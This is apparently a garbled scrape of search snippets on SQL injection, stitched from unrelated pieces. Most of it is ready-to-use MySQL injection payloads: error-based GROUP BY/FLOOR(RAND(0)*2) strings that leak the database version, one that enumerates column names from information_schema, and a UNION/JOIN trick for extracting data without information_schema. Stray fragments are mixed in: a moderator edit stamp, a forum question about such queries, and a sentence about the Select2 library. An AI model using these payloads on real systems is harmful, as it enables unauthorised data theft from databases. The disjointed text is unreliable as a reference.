...(SELECT COUNT(*),CONCAT(0x716b7a6a71,(SELECT (ELT(7790=7790,1))),0x716b766271
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Last edited by a moderator: 3 Nov 2015.
1 UNION SELECT * FROM (SELECT * FROM users JOIN users b USING(id,name))a ... Extract data without information_schema.
row(1,1)>(select count(*),concat(version(),0x3a,floor(rand(0)*2)) x from (select 1 union select 2)a group by x limit 1) -- script.php
SELECT 7682 FROM(SELECT COUNT(*),CONCAT(':ugy:1:dxh:',FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a.
1 AND (SELECT 1 FROM (SELECT COUNT(*),concat(0x3a,(SELECT column_name FROM information_schema.COLUMNS WHERE TABLE_NAME="table1" LIMIT 0,1),0x3a,FLOOR(rand(0)*2))a FROM information_schema.COLUMNS GROUP BY a LIMIT 0,1)b)
I have seen many queries with something as follows. … What does this 1 mean, how will it be executed and, what will it return? Also, in what type of scenarios, can this be used?
Select2 uses a function to load result data. Here is a trivial example that creates choices that consist of user's input repeated a number of times